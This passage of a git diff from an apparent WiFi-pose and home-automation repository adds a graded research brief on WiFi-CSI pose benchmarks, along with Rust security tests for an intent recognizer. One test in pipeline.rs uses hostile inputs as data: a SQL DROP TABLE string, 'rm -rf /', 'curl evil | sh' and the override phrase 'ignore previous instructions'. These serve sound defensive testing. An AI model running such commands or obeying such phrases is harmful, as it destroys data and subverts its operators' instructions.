+| **Ethos** | Every claim graded PEER-REVIEWED / PREPRINT / VENDOR-CLAIM / BLOG, with MEASURED-on-public-benchmark distinguished from marketing. Numbers that could not be verified are flagged. No fabricated citations. |
+
+> **Citation discipline carried in from ADR-152 §2.2:** preprint accuracy numbers are CLAIMED until reproduced on our hardware. The project has already retracted its own "92.9% PCK@20" and "shipped-WiFlow-STD 97.25%" figures after measurement; this brief inherits that bar.
+
+---
+
+## 1. Executive summary
+
+**Where the project stands vs the 2026 frontier.** The repo is, by the evidence already in-tree, *ahead of most academic groups on benchmark hygiene* and roughly *at parity on capability* — but the two are measured on incompatible yardsticks, which is the single biggest risk to any "beyond-SOTA" claim.
+
+- The project's headline reproductions (`benchmarks/wiflow-std/RESULTS.md`) are MEASURED and rigorous: WiFlow-STD retrained to **96.09–96.61% PCK@20** on the authors' own 360k-window 2D dataset (RTX 5080), shipped checkpoint REFUTED, dataset/code defects documented. This is a genuinely strong, reproducible result.
+- **But that number is not on a standard public benchmark.** WiFlow-STD's dataset is self-collected (5 subjects, 15 keypoints, 2D, in-domain random split, hardware unspecified). The academic frontier on the *standard* public 3D benchmark (MM-Fi) reports **PCK@20 ≈ 61% / MPJPE ≈ 161 mm random-split** (GraphPose-Fi, Nov 2025) — a *harder* metric (3D, mm-scale, standard PCK normalization). The project's own AetherArena MM-Fi number (**81.63% torso-PCK@20 in-domain**, ADR-150) uses a *torso-normalized PCK* that is looser than GraphPose-Fi's standard PCK, so the three numbers (96% / 81.6% / 61%) **cannot be lined up** without a unified harness. Making them comparable IS the highest-value work item.
+- The deployment frontier — **cross-subject / cross-environment generalization** — is where everyone collapses, the project included (ADR-150: 81.63% in-domain → ~11.6% leakage-free cross-subject). GraphPose-Fi independently confirms the cliff (61.1% random → 12.9% cross-environment PCK@20). This is the real research target, not in-domain PCK.
+
+**Top 3 highest-value optimization/benchmark targets:**
+
+1. **A unified, metric-locked accuracy harness in `wifi-densepose-train`** that scores any model under *one* explicit PCK definition (normalization, keypoint convention, split) so WiFlow-STD-repro, AetherArena/MM-Fi, and GraphPose-Fi numbers become directly comparable. Without this, no "beyond-SOTA" claim survives the "prove it" bar — the project has already been burned twice by metric ambiguity (the retracted 92.9% used absolute, not torso-normalized, PCK).
+2. **A QAT path for the WiFlow-STD-class edge model.** The in-tree edge work (`RESULTS.md`) has *fully characterized PTQ* (static QDQ conv-only is the int8 sweet spot; dynamic int8 is a no-op on this all-conv architecture) and found the **half model (843k params) strictly dominates the published 2.23M** and **tiny (56k, 295 KB ONNX fp32) holds 94.1% PCK@20**. The one untested lever is **quantization-aware training**, which the general literature says recovers most of the PTQ accuracy gap. That is the next defensible edge win.
+3. **Criterion-backed regression benches wired into CI** for the real Candle/ONNX forward path. The benches *exist* (`wifi-densepose-nn/benches/{inference,onnx,native_conv}_bench.rs`, `wifi-densepose-train/benches/training_bench.rs`) and `benchmarks/edge-latency/RESULTS.md` shows the methodology is sound (host≠ESP32 caveat made explicit). The gap is turning point-in-time captures into committed regression baselines.
+
+---
+
+## 2. Findings per research question
+
+### RQ1 — Latest WiFi-CSI pose SOTA (2024–2026): published PCK@20 / MPJPE on the standard public benchmarks
+
+The crucial framing: **"WiFi pose SOTA" splits into two non-comparable tracks** — 3D pose on MM-Fi/Person-in-WiFi-3D (mm-scale MPJPE, standard PCK) vs 2D pose on self-collected sets (image-normalized PCK). The project's flagship reproduction lives in the second track; the academic frontier lives in the first.
+
+| Method | Venue / Year | Benchmark + split | PCK@20 | MPJPE | Grade |
+|---|---|---|---|---|---|
+| **GraphPose-Fi** (arXiv [2511.19105](https://arxiv.org/abs/2511.19105)) | PREPRINT, Nov 2025 | MM-Fi P1, **random split** | **61.1%** | **160.6 mm** (PA-MPJPE 105.0) | numbers MEASURED-in-study (preprint); beats MetaFi++, HPE-Li, DT-Pose |
+| GraphPose-Fi | same | MM-Fi P1, **cross-subject** | 44.2% | 210.5 mm | same |
+| GraphPose-Fi | same | MM-Fi P1, **cross-environment** | 12.9% | 302.7 mm | same — the generalization cliff |
+| **DT-Pose** (arXiv [2501.09411](https://arxiv.org/abs/2501.09411)) | PREPRINT (ICLR'25 OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ)), Jan 2025; code [cseeyangchen/DT-Pose](https://github.com/cseeyangchen/DT-Pose) | MM-Fi (domain-gap + topology focus) | not cleanly extractable from abstract | reports MPJPE; self-supervised masked pretrain + topology decode | numbers NOT verified at exact-table level here — flagged |
+| **Person-in-WiFi-3D** (CVPR 2024, [openaccess](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html)) | **PEER-REVIEWED**, CVPR 2024 | own 97k-frame multi-person set | — (multi-person, not single-PCK) | **91.7 mm (1p) / 108.1 (2p) / 125.3 (3p)** 3D joint error | MEASURED (peer-reviewed); own dataset, not MM-Fi |
+| **WiFlow-STD** (arXiv [2602.08661](https://arxiv.org/abs/2602.08661), [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling)) | PREPRINT, Apr 2026 | self-collected, 5-subj, **2D, in-domain random** | 97.25% (claimed) | 0.007 m (image-norm) | claimed CLAIMED; **project reproduced 96.09–96.61% (MEASURED, RTX 5080)** after repairing dataset/code |
+| **PerceptAlign** (arXiv [2601.12252](https://arxiv.org/abs/2601.12252)) | PREPRINT + MobiCom'26 acceptance | own 7-layout cross-domain 3D set | — | 222.4 mm (Scene4) / 317.1 (Scene5), claims −54% cross-env vs SOTA | CLAIMED (preprint); failure mode corroborated |
+| **Project AetherArena** (ADR-150, [issue #876](https://github.com/ruvnet/RuView/issues/876)) | internal | MM-Fi, **random split**, **torso-PCK** | **81.63% torso-PCK@20** | — | MEASURED-internal; **torso-PCK ≠ GraphPose-Fi standard PCK** |
+| **Project WiFlow-STD repro** (`benchmarks/wiflow-std/RESULTS.md`) | internal | their data, their split | **96.09–96.61%** | 0.0094–0.0098 m | MEASURED-internal (RTX 5080) |
+
+**How the project's ~96% compares to the frontier:** It is *not directly comparable*. The 96% is on an easier task (2D, in-domain, image-normalized PCK, single-environment, 5 subjects) than GraphPose-Fi's 61.1% (3D, standard PCK, mm-scale). The project's own MM-Fi-track number (81.63% torso-PCK@20) *appears* to beat GraphPose-Fi's 61.1%, **but only because torso-PCK is a looser normalization** — the project explicitly flags this (ADR-150 cites beating "MultiFormer's 72.25%" under the *same* torso metric, not GraphPose-Fi's). The honest statement: **the project is competitive on in-domain MM-Fi under its own torso metric, and collapses cross-subject exactly as the published frontier does.** No public number lets the project claim "beyond-SOTA" today.
+
+### RQ2 — What's winning architecturally now (2025–2026)
+
+The clear trend across the verified 2025–2026 papers:
+
+- **Graph / skeleton-aware decoders are the current academic SOTA on MM-Fi.** GraphPose-Fi (PREPRINT, Nov 2025) wins by injecting anatomical graph structure into the decoder — exactly the `GraphPose-Fi-style skeleton-aware graph head` ADR-150 §2.2 already names as the planned decoder. *The project's architecture direction matches the frontier.*
+- **Self-supervised masked pretraining (MAE) is the cross-domain lever, not capacity.** UNSW MAE study (arXiv [2511.18792](https://arxiv.org/abs/2511.18792), PREPRINT, Nov 2025): cross-domain gains scale **log-linearly with pretraining data, unsaturated at 1.3M samples**; ViT-Base adds only 0.4–0.9% over ViT-Small. Recipe: **80% masking, (30,3) small patches**. DT-Pose (arXiv 2501.09411) independently uses masked pretraining + topology constraints for the domain gap. *Caveat (MEASURED in ADR-152 §2.3): UNSW's downstream tasks are classification, not pose — pose transfer remains a hypothesis. The project's own measurement (b) found WiFlow-STD pretrained features give optimization transfer but NOT feature transfer to ESP32 CSI.*
+- **Spatio-temporal decoupling is the efficiency lever.** WiFlow-STD's whole contribution is decoupling spatial and temporal CSI processing to hit 2.23M params. The project verified the params/FLOPs (MEASURED) and then **beat it**: the half-model (843k) matches accuracy with 0.38× params (`RESULTS.md` efficiency sweep).
+- **Geometry/layout conditioning is the cross-layout lever.** PerceptAlign (MobiCom'26): fusing transceiver-position embeddings + two-checkerboard calibration, claimed −60% cross-domain. ADR-152 §2.1 already adopted this (`NodeGeometry`, geometry embeddings).
+- **NOT winning / absent:** diffusion models for CSI pose did not surface in the verified frontier. Full DensePose-UV regression from commodity WiFi remains undemonstrated (ADR-152 F5, MEASURED by full-text screening). No 2025–2026 paper was found that *beats the project's current direction* — the project is tracking, not trailing, the architecture frontier.
+
+**Verdict RQ2:** the winning stack (MAE pretrain → graph/skeleton decoder → geometry conditioning, ViT-Small-class capacity) is *already the planned ADR-150/152 stack*. The gain available is not a new architecture; it's (a) more heterogeneous pretraining data and (b) honest cross-domain measurement.
+
+### RQ3 — Edge/quantized inference SOTA for small CSI pose models
+
+The in-tree edge work (`benchmarks/wiflow-std/RESULTS.md` "Edge optimization" + "Static PTQ" + "Efficiency sweep") is already at or beyond what the public literature offers for this specific model class, and is MEASURED. Key findings to carry forward:
+
+- **Dynamic INT8 is a trap on all-conv CSI models.** WiFlow-STD has **zero `nn.Linear` layers** (21 Conv1d + 22 Conv2d + BatchNorm). `torch.quantize_dynamic` quantizes 0% of params (dynamic int8 has no conv kernels). MEASURED.
+- **Static QDQ conv-only PTQ is the int8 sweet spot.** PCK@20 96.60–96.63% (vs fp32 96.68%, dynamic 96.52%), 2.53 MB. All-ops QDQ is strictly worse (−1.4 pt). MEASURED.
+- **ONNX Runtime fp32 is the real CPU latency win**: 3.2 ms/window batch-1 vs torch 11.0 ms (~3.4×) at parity (2.4e-7). int8 is ~2× *slower* than ONNX fp32 at batch-1 (ConvInteger kernels). MEASURED.
+- **Smaller-than-published dominates.** half (843k) ≥ full on accuracy; **tiny (56k, 295 KB ONNX fp32, 0.66 ms/win, 94.1% PCK@20)** is the smallest deployable artifact. At tiny scale int8 is a *bad* trade (−1.43 pt for −47 KB). MEASURED.
+- **General QAT-vs-PTQ context (BLOG/VENDOR):** [NVIDIA TensorRT QAT blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics QAT glossary](https://www.ultralytics.com/glossary/quantization-aware-training-qat), [ONNX Runtime quantization docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html): QAT "almost always" recovers accuracy PTQ loses on sensitive models; ONNX Runtime does NOT retrain (QAT must happen in PyTorch, then export QDQ). The [Onboard Optimization survey, arXiv 2505.08793](https://arxiv.org/pdf/2505.08793) (PREPRINT) covers on-device optimization broadly. These are *general* claims, not CSI-pose-specific — grade accordingly.
+- **Hailo / Pi target (CLAUDE.local.md):** the 4× Pi+Hailo cluster (Hailo-8 @ 26 TOPS / Hailo-10 @ 40 TOPS) needs a **HEF** compile path, which is its own toolchain (not ONNX/Candle). No in-tree HEF benchmark exists yet — this is a genuine gap for the edge-inference claim.
+
+**Actionable for an inference-speed benchmark:** the honest comparand set is `{torch fp32, ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full, half, tiny}` on a fixed host, with the **host≠ESP32 / host≠Hailo caveat stated up front** (the `edge-latency/RESULTS.md` template already does this correctly). The one new datapoint worth producing: **QAT-int8 on the half model** to test whether QAT closes the PTQ −0.16 pt gap *and* keeps the size win.
+
+### RQ4 — Rigorous, reproducible benchmark methodology
+
+The repo already demonstrates the right methodology in three places — the ADR should codify it, not invent it:
+
+- **`benchmarks/wiflow-std/RESULTS.md`** — the gold standard already in-tree: pinned upstream commit, seed-42 file-level split documented, corruption masks committed as ground truth, every forced deviation recorded, mean-pose honesty baseline, MEASURED-vs-CLAIMED grading.
+- **`benchmarks/edge-latency/RESULTS.md`** — criterion 0.5, explicit host machine, low/median/high brackets, contention caveat, host≠ESP32 separation, steady-state-vs-cold-start distinction.
+- **Rust micro-bench:** criterion benches already exist in both crates (`wifi-densepose-nn/benches/`, `wifi-densepose-train/benches/`).
+
+What a credible "beyond-SOTA" claim requires (the bar that survives "prove it"):
+1. **One locked accuracy definition** — PCK normalization (torso vs absolute vs bbox), keypoint convention (15 vs 17 COCO), and split (random / cross-subject / cross-environment) declared *before* the run. The retracted 92.9% died exactly because PCK normalization was unstated.
+2. **A mean-pose / constant-output honesty baseline** on every split (already done in measurement (b) — a single-subject near-static set scored 95.9% torso-PCK@20 with a *constant* pose). Any claim must beat this.
+3. **MEASURED-vs-CLAIMED grading** per number, with the exact command and raw-JSON path committed.
+4. **Cross-domain, not just in-domain.** In-domain PCK is saturated and uninformative; the defensible claim is on cross-subject/cross-environment, where the frontier is 12–44% PCK@20.
+
+---
+
+## 3. Proposed benchmark-suite design
+
+A two-part suite (`wifi-densepose-train` accuracy harness + `wifi-densepose-nn` latency harness), both committing raw JSON + a graded RESULTS.md.
+
+### 3.1 Accuracy harness (`wifi-densepose-train`)
+
+- **Metric module with one canonical PCK** (parameterized: `{torso, bbox, absolute}` normalization × threshold × keypoint-map), so a single function scores WiFlow-STD-repro, MM-Fi/AetherArena, and a GraphPose-Fi re-run identically. Lock the default to **torso-PCK@20 on 17-kp COCO** and *always* also print standard-PCK to expose the gap.
+- **Fixed datasets/splits:** (i) WiFlow-STD cleaned 360k (their split, for repro parity), (ii) MM-Fi P1 random + cross-subject + cross-environment (to line up against GraphPose-Fi 61.1/44.2/12.9 and the project's 81.63), (iii) ESP32 paired eval set when ≥2k multi-subject windows exist.
+- **Mandatory honesty baselines** emitted every run: mean-pose, constant-output, and (for cross-domain) source-only.
+- **Output:** raw JSON + a RESULTS.md table with MEASURED/CLAIMED grades, mirroring `benchmarks/wiflow-std/RESULTS.md`.
+
+### 3.2 Latency/size harness (`wifi-densepose-nn`)
+
+- **Matrix:** `{torch fp32 (ref), ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full 2.23M, half 843k, tiny 56k}` × `{batch 1, 64}`, criterion-timed, host declared.
+- **Report:** disk size, batch-1 + batch-64 ms/window (median + low/high), and PCK@20 on the locked 10k-window subset, so latency and accuracy never get cited apart.
+- **Caveat block up front:** host ≠ ESP32-S3/WASM3, host ≠ Hailo HEF. No host number is presented as the edge number.
+- **CI gate:** commit the current medians as regression baselines; fail PRs that regress latency >X% or accuracy >Y pt.
+
+### 3.3 What counts as a defensible "beyond-SOTA" result
+
+A claim is citable only if **all** hold: (1) scored under a pre-declared metric/split, (2) beats the relevant published frontier number *on the same metric definition* (e.g. >61.1% standard-PCK@20 on MM-Fi random, or >12.9% on cross-environment), (3) beats the mean-pose honesty baseline, (4) raw JSON + exact command committed, (5) graded MEASURED. The single most valuable "beyond-SOTA" target is **cross-environment MM-Fi**, where the published bar (12.9% PCK@20) is low enough that a real win is both achievable and unambiguous.
+
+---
+
+## 4. Gap table
+
+| Capability | Project current (graded) | Published SOTA (graded) | Proposed target | Data / hardware needed |
+|---|---|---|---|---|
+| In-domain 2D PCK@20 (self-collected) | 96.09–96.61% (MEASURED, RTX 5080, WiFlow-STD repro) | 97.25% claimed (WiFlow-STD, CLAIMED) | match within noise + own architecture | cleaned 360k dataset (have); already met |
+| In-domain MM-Fi PCK@20 (torso-norm) | 81.63% torso-PCK (MEASURED-internal) | GraphPose-Fi 61.1% *standard*-PCK (PREPRINT) — **not comparable** | re-score both under **one** PCK def | MM-Fi P1 (have); unified metric harness (gap) |
+| **Cross-subject MM-Fi PCK@20** | ~11.6% torso (MEASURED, the cliff) | GraphPose-Fi 44.2% standard (PREPRINT) | close gap via MAE pretrain + graph decoder | 1.3M heterogeneous CSI corpus (ADR-150/152 §2.3), ViT-Small encoder |
+| **Cross-environment MM-Fi PCK@20** | untested-internal | GraphPose-Fi 12.9% standard (PREPRINT) | **beat 12.9% → cleanest beyond-SOTA win** | MM-Fi cross-env split + geometry conditioning (ADR-152 §2.1) |
+| ESP32 CSI→pose (17-kp) | no run beats mean-pose baseline (MEASURED, measurement b) | n/a (no public ESP32 pose benchmark) | beat mean-pose on temporal split | ≥2k multi-subject/multi-position paired windows (gap) |
+| Edge int8 size/accuracy | static QDQ conv-only 96.61% @ 2.53 MB; tiny 94.1% @ 295 KB fp32 (MEASURED) | no model-matched public number | **QAT-int8 on half model** (untested lever) | PyTorch QAT + QDQ export; RTX 5080 (have) |
+| Edge CPU latency | ONNX fp32 3.2 ms/win b1 host (MEASURED) | n/a (model-specific) | committed criterion regression baseline | host bench (have); ESP32/Hailo on-hardware (gap) |
+| Hailo HEF edge inference | none in-tree (gap) | n/a | first MEASURED HEF latency | Hailo compile toolchain + Pi cluster (have hardware, CLAUDE.local.md) |
+| Foundation encoder (MAE) | recipe adopted, untrained (ADR-152 §2.3) | UNSW: log-linear cross-domain scaling on *classification* (PREPRINT) | pose-transfer validation (hypothesis today) | 1.3M-sample corpus aggregation (priority per F3) |
+
+---
+
+## 5. Sources (graded)
+
+| Source | Type | Grade | Used for |
+|---|---|---|---|
+| GraphPose-Fi, arXiv [2511.19105](https://arxiv.org/abs/2511.19105) | preprint | PREPRINT; table numbers MEASURED-in-study (fetched + quoted) | RQ1 MM-Fi frontier (61.1/44.2/12.9 PCK@20, 160.6/210.5/302.7 mm) |
+| WiFlow-STD, arXiv [2602.08661](https://arxiv.org/abs/2602.08661) + [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling) | preprint+code | numbers CLAIMED; artifacts MEASURED; **project repro 96% MEASURED** | RQ1/RQ2/RQ3 |
+| PerceptAlign, arXiv [2601.12252](https://arxiv.org/abs/2601.12252) | preprint + MobiCom'26 acceptance | CLAIMED numbers; failure mode corroborated | RQ1/RQ2 geometry conditioning |
+| UNSW MAE, arXiv [2511.18792](https://arxiv.org/abs/2511.18792) | preprint | ablations MEASURED-in-study; pose transfer = hypothesis | RQ2 MAE recipe |
+| DT-Pose, arXiv [2501.09411](https://arxiv.org/abs/2501.09411), OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ), [code](https://github.com/cseeyangchen/DT-Pose) | preprint+code (ICLR'25) | exact MPJPE table NOT verified here — flagged | RQ2 masked-pretrain + topology |
+| Person-in-WiFi-3D, [CVPR 2024](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html) | peer-reviewed | MEASURED (91.7/108.1/125.3 mm); own dataset | RQ1 3D multi-person frontier |
+| ONNX Runtime quantization [docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html) | vendor docs | VENDOR | RQ3 PTQ/QAT mechanics |
+| NVIDIA TensorRT QAT [blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics](https://www.ultralytics.com/glossary/quantization-aware-training-qat) | vendor/blog | BLOG/VENDOR; general, not CSI-specific | RQ3 QAT>PTQ context |
+| Onboard Optimization survey, arXiv [2505.08793](https://arxiv.org/pdf/2505.08793) | preprint | PREPRINT | RQ3 on-device optimization landscape |
+| In-tree `benchmarks/wiflow-std/RESULTS.md`, `benchmarks/edge-latency/RESULTS.md`, ADR-150, ADR-152, ADR-015 | internal MEASURED | MEASURED-internal | grounding, all RQs |
+
+**Unverified / flagged:** DT-Pose exact MM-Fi MPJPE table not extracted at primary-source precision (abstract-level only). GraphPose-Fi parameter count not reported in the paper. WiFlow-STD/PerceptAlign accuracy numbers are author-self-reported preprints. No CSI-pose-specific QAT benchmark exists in the public literature — the QAT recommendation rests on general (non-CSI) vendor/blog evidence.

v2/Cargo.lock

@@ -3595,6 +3595,7 @@ dependencies = [
  "anyhow",
  "axum",
  "clap",
+ "futures",
  "homecore",
  "homecore-api",
  "homecore-assist",
@@ -3602,8 +3603,13 @@ dependencies = [
  "homecore-hap",
  "homecore-plugins",
  "homecore-recorder",
+ "http-body-util",
+ "reqwest 0.12.28",
+ "serde",
  "serde_json",
  "tokio",
+ "tower 0.5.3",
+ "tower-http",
  "tracing",
  "tracing-subscriber",
 ]
@@ -3767,6 +3773,7 @@ dependencies = [
  "tokio",
  "tokio-rustls 0.26.4",
  "tower-service",
+ "webpki-roots 1.0.7",
 ]
 
 [[package]]
@@ -6870,6 +6877,8 @@ dependencies = [
  "native-tls",
  "percent-encoding",
  "pin-project-lite",
+ "quinn",
+ "rustls 0.23.37",
  "rustls-pki-types",
  "serde",
  "serde_json",
@@ -6877,6 +6886,7 @@ dependencies = [
  "sync_wrapper 1.0.2",
  "tokio",
  "tokio-native-tls",
+ "tokio-rustls 0.26.4",
  "tower 0.5.3",
  "tower-http",
  "tower-service",
@@ -6884,6 +6894,7 @@ dependencies = [
  "wasm-bindgen",
  "wasm-bindgen-futures",
  "web-sys",
+ "webpki-roots 1.0.7",
 ]
 
 [[package]]

v2/crates/homecore-api/src/app.rs

@@ -42,7 +42,11 @@ pub fn router(state: SharedState) -> Router {
         .with_state(state)
 }
 
-fn build_cors_layer() -> CorsLayer {
+/// Build the audited CORS allowlist layer (HC-05). Exposed so the
+/// integration binary can apply the SAME allowlist to routes merged in
+/// outside `router()` (e.g. the ADR-131 BFF gateway), instead of leaving
+/// `/api/homecore/*` and `/api/cal/*` with no CORS coverage at all.
+pub fn build_cors_layer() -> CorsLayer {
     let raw = std::env::var("HOMECORE_CORS_ORIGINS").ok();
     let origins: Vec<HeaderValue> = match raw {
         Some(v) if !v.trim().is_empty() => v

v2/crates/homecore-api/src/lib.rs

@@ -7,7 +7,7 @@ pub mod state;
 pub mod tokens;
 pub mod ws;
 
-pub use app::{router, AppState};
+pub use app::{build_cors_layer, router, AppState};
 pub use error::{ApiError, ApiResult};
 pub use state::SharedState;
 pub use tokens::LongLivedTokenStore;

v2/crates/homecore-assist/src/embedding.rs

@@ -149,6 +149,44 @@ mod tests {
         assert!(sim_unrel < 0.3, "unrelated similarity too high: {sim_unrel:.3}");
     }
 
+    #[test]
+    fn embeddings_are_structurally_finite() {
+        // SECURITY (NaN-poisoning): the embedding path takes only `&str` and
+        // produces values via FNV feature-hashing + a guarded L2 normalise.
+        // There is NO external float input and NO unguarded division, so a
+        // crafted utterance cannot inject NaN/±Inf into a vector and poison the
+        // cosine k-NN match. Prove every component is finite across adversarial
+        // inputs (empty, punctuation-only, unicode, very long, control chars).
+        for s in [
+            "",
+            "!!! ???",
+            "turn on the kitchen light",
+            "🔥🔥🔥 \u{0}\u{1}\u{7f} mix",
+            &"x".repeat(10_000),
+            "NaN inf -inf 1e999",
+        ] {
+            let v = embed(s);
+            assert_eq!(v.len(), EMBEDDING_DIM);
+            assert!(
+                v.iter().all(|x| x.is_finite()),
+                "embedding of {s:?} contained a non-finite component"
+            );
+        }
+    }
+
+    #[test]
+    fn cosine_with_zero_vector_is_finite_not_nan() {
+        // SECURITY (NaN-poisoning): an empty/punctuation-only utterance embeds
+        // to the zero vector. Cosine against any exemplar must be a finite 0.0,
+        // never NaN — so a below-threshold comparison stays well-defined and the
+        // recognizer falls through (no action) rather than matching on garbage.
+        let zero = embed("!!! ???");
+        let real = embed("turn on the light");
+        let sim = cosine_similarity(&zero, &real);
+        assert!(sim.is_finite(), "cosine vs zero vector must be finite, got {sim}");
+        assert_eq!(sim, 0.0, "dot product with the zero vector is exactly 0");
+    }
+
     #[test]
     fn identical_text_is_similarity_one() {
         let a = embed("lock the front door");

v2/crates/homecore-assist/src/lib.rs

@@ -47,7 +47,9 @@ pub mod pipeline;
 pub mod embedding;
 
 pub use intent::{Card, Intent, IntentName, IntentResponse};
-pub use recognizer::{IntentRecognizer, RecognizerError, RegexIntentRecognizer};
+pub use recognizer::{
+    IntentRecognizer, RecognizerError, RegexIntentRecognizer, MAX_UTTERANCE_BYTES,
+};
 pub use semantic_recognizer::{SemanticIntentRecognizer, DEFAULT_SIMILARITY_THRESHOLD};
 pub use handler::{
     HandlerError, HassCancelAll, HassLightSet, HassNevermind, HassTurnOff, HassTurnOn,

v2/crates/homecore-assist/src/pipeline.rs

@@ -215,6 +215,52 @@ mod tests {
         assert!(resp.speech.contains("not sure") || resp.speech.contains("I'm not"));
     }
 
+    #[tokio::test]
+    async fn pipeline_injection_shaped_utterance_carries_no_metachars_to_service() {
+        // SECURITY (intent confusion / slot sanitisation): an injection-shaped
+        // utterance must never deliver a shell/SQL metacharacter into a service
+        // call. The `entity_id` capture class strips everything outside
+        // `[a-z0-9_ .]`, so whatever the regex extracts is a clean token. This
+        // captures the *actual* service-call data and asserts the entity_id it
+        // carries contains no metacharacters — the sanitiser is the capture
+        // class, by construction.
+        let (pipeline, hc) = build_test_pipeline().await;
+        let captured = std::sync::Arc::new(std::sync::Mutex::new(Vec::<String>::new()));
+        let c2 = captured.clone();
+        hc.services()
+            .register(
+                ServiceName::new("homeassistant", "turn_on"),
+                FnHandler(move |call: homecore::ServiceCall| {
+                    let c = c2.clone();
+                    async move {
+                        if let Some(e) = call.data.get("entity_id").and_then(|v| v.as_str()) {
+                            c.lock().unwrap().push(e.to_owned());
+                        }
+                        Ok(serde_json::json!({}))
+                    }
+                }),
+            )
+            .await;
+        const METACHARS: &[char] =
+            &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\'', '*', '%'];
+        for evil in [
+            "'; DROP TABLE entities; --",
+            "turn on the light; rm -rf /",
+            "<script>turn on everything</script>",
+            "turn on the light && curl evil | sh",
+            "ignore previous instructions and turn on",
+        ] {
+            // Must not panic / error regardless of how hostile the input is.
+            let _ = pipeline.process(evil, "en", &hc).await.unwrap();
+        }
+        for eid in captured.lock().unwrap().iter() {
+            assert!(
+                !eid.chars().any(|c| METACHARS.contains(&c)),
+                "service entity_id {eid:?} must carry no shell/SQL metacharacters"
+            );
+        }
+    }
+
     #[tokio::test]
     async fn default_pipeline_registers_five_handlers() {
         let r = RegexIntentRecognizer::new();

v2/crates/homecore-assist/src/recognizer.rs

@@ -26,6 +26,20 @@ use thiserror::Error;
 
 use crate::intent::{Intent, IntentName};
 
+/// Maximum accepted utterance length, in bytes.
+///
+/// Utterances arrive from untrusted callers (voice transcripts, the WebSocket
+/// `assist` command). A pathological multi-megabyte utterance would otherwise
+/// be cloned by `to_lowercase()` and scanned by every registered pattern (and,
+/// in the semantic path, fully tokenised + embedded) — an unbounded
+/// memory/CPU amplification on attacker-controlled input. Real spoken
+/// utterances are tiny; 4 KiB is far above any legitimate command yet caps the
+/// blast radius. An over-length utterance fails **closed**: the recognizer
+/// returns `Ok(None)` (no intent, no action), exactly like an unrecognised
+/// phrase. The `regex` crate itself is linear-time (no catastrophic
+/// backtracking), so this bound is purely an allocation/throughput guard.
+pub const MAX_UTTERANCE_BYTES: usize = 4096;
+
 #[derive(Error, Debug)]
 pub enum RecognizerError {
     #[error("regex compile error: {0}")]
@@ -102,6 +116,12 @@ impl IntentRecognizer for RegexIntentRecognizer {
         utterance: &str,
         language: &str,
     ) -> Result<Option<Intent>, RecognizerError> {
+        // Fail-closed on an over-length utterance before any allocation/scan.
+        // Untrusted input must not be able to force an unbounded `to_lowercase`
+        // clone + per-pattern scan. Bound first, then normalise.
+        if utterance.len() > MAX_UTTERANCE_BYTES {
+            return Ok(None);
+        }
         let normalised = utterance.trim().to_lowercase();
         let patterns = self.patterns.read().await;
         for pattern in patterns.iter() {
@@ -183,6 +203,55 @@ mod tests {
         assert!(result.is_none());
     }
 
+    #[tokio::test]
+    async fn over_length_utterance_fails_closed() {
+        // SECURITY (DoS / fail-closed): an utterance larger than the bound must
+        // return Ok(None) WITHOUT being normalised or scanned. Crucially, even
+        // an over-length utterance that *contains* a matching command must NOT
+        // resolve — fail closed, never open.
+        //
+        // This FAILS against the pre-fix recognizer: there, a giant prefix
+        // followed by "turn on the kitchen light" would still match HassTurnOn
+        // (and force a multi-megabyte `to_lowercase` clone + scan first).
+        let r = turn_on_recognizer().await;
+        let huge = format!("{} turn on the kitchen light", "a ".repeat(MAX_UTTERANCE_BYTES));
+        assert!(huge.len() > MAX_UTTERANCE_BYTES);
+
+        let result = r.recognize(&huge, "en").await.unwrap();
+        assert!(
+            result.is_none(),
+            "over-length utterance must fail closed (no intent, no action)"
+        );
+
+        // And a just-under-bound utterance still works, so the cap doesn't
+        // break legitimate (tiny) commands.
+        let ok = r
+            .recognize("turn on the kitchen light", "en")
+            .await
+            .unwrap();
+        assert!(ok.is_some(), "normal-length command must still resolve");
+    }
+
+    #[tokio::test]
+    async fn pathological_backtracking_pattern_completes_in_bounded_time() {
+        // SECURITY (ReDoS): the `regex` crate is a linear-time finite automaton,
+        // so even a classic catastrophic-backtracking shape `(a+)+$` cannot hang
+        // on a crafted adversarial input. This proves the recognizer terminates
+        // promptly on the worst-case input the regex engine is asked to run.
+        let r = RegexIntentRecognizer::new();
+        r.register("Evil", r"(a+)+$", "*").await.unwrap();
+        // Just under the length bound: all 'a' then a 'b' — the classic input
+        // that destroys a backtracking engine. Linear-time regex shrugs.
+        let evil = format!("{}b", "a".repeat(MAX_UTTERANCE_BYTES - 1));
+        let start = std::time::Instant::now();
+        let _ = r.recognize(&evil, "en").await.unwrap();
+        let elapsed = start.elapsed();
+        assert!(
+            elapsed < std::time::Duration::from_secs(2),
+            "linear-time regex must not hang on adversarial input; took {elapsed:?}"
+        );
+    }
+
     #[tokio::test]
     async fn language_filter_skips_non_matching() {
         let r = RegexIntentRecognizer::new();

v2/crates/homecore-assist/src/runner.rs

@@ -393,6 +393,63 @@ mod tests {
         assert!(matches!(err, AssistError::ParseError(_)));
     }
 
+    #[tokio::test]
+    async fn shell_metachars_never_survive_into_a_resolved_slot() {
+        // SECURITY (command/argument injection): two layers of defense.
+        //   1. There is NO subprocess — `spawn` is a lifecycle flag and
+        //      `RufloRunnerOpts` is inert, so no argv is ever built.
